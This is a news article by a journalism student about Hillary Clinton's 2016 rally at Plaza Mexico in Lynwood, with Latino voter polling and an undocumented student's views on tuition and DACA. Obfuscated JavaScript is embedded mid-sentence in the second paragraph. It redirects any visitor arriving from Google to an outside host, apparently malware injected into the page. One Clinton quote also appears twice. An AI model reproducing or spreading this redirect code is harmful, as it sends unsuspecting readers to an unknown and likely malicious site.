Lynwood: A Latino battleground for Democrats

Participants in a Los Angeles rally for immigrants rights. (Photo: Joseph Sohm, via Shutterstock)

Plaza Mexico in Lynwood was ground zero in a final election battle between Democrats Hillary Clinton and Bernie Sanders.

Nine miles south of downtown Los Angeles, Lynwood is 82 percent Latino and thus crucial in today’s presidential primary var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. Both Sanders and Clinton claim support from Latino voters, but how much support depends on age.

Of Trump’s target, U.S. District Court Judge Gonzalo Curiel, Clinton said,  “He is as American as I am and as American as Donald Trump is.”

A USC/Los Angels Times poll found Sanders ahead of Clinton 58 percent to 31 percent among Latino voters younger than 50, while Clinton led among those older than 50 by 69 percent to 16 percent.

Clinton arrived at Plaza Mexico on Monday afternoon and the crowed appeared nearly evenly divided between younger and older voters. Bernie Sanders was there a day earlier.

To cheers, Clinton declared that she would defend the Obama Administration policy that that allows certain illegal immigrants who entered the country before their 16th birthday and before June 2007 to receive a renewable two-year work permit and exemption from deportation.

And she lashed into Donald Trump for his assertion that a federal judge overseeing two class action lawsuits filed against Trump University had an “inherent conflict of interest” because of his Mexican heritage.

“So when I hear Donald Trump attacking people based their immigrant status, disabilities their gender or whatever the reason he attacks people, I am so upset because that’s not who we are as Americans,” Clinton said.

Of Trump’s target, U.S. District Court Judge Gonzalo Curiel, Clinton said,  “He is as American as I am and as American as Donald Trump is.”

“I’m proud we are a nation of immigrants,” she said. “I think every American should be proud of that,” she said.

She also went on to discuss an array of issues affecting California voters.

In the crowd was Denise Ruelas,  a longtime Lynwood Resident and Clinton supporter. Ruelas is in the country illegally but plans to attend the University of California, Merced, this fall.

Even though she is not a California resident, Ruelas is exempt from paying nonresident tuition at California public universities, including UC San Diego under a law enacted in 2001.

Ruelas is  worried that if Donald Trump were elected, he would abolish such programs by executive order. “If Hillary gets into office she says she will keep the program and that’s a big help for undocumented students like myself,” she said.

She will be attending UC Merced in the fall, and feels she has many challenges to face. “We have to work double as hard to prove ourselves that we are bright students and we really want to get an education,” she said.

Standing on the Plaza Mexico, Ruelas said the city has grown tremendously in the 16 years she has called this place home and the visit by Clinton confirmed the status.

“It used to be a very poor city and each year we’ve grown a little bit more,” she said, “This was just like a giant parking lot and little by little people came together and created this place and for her to be here it’s really putting us on the map.”

Ed’s Note: Brad Bailey is a student at the Graduate School of Journalism at UC Berkeley.


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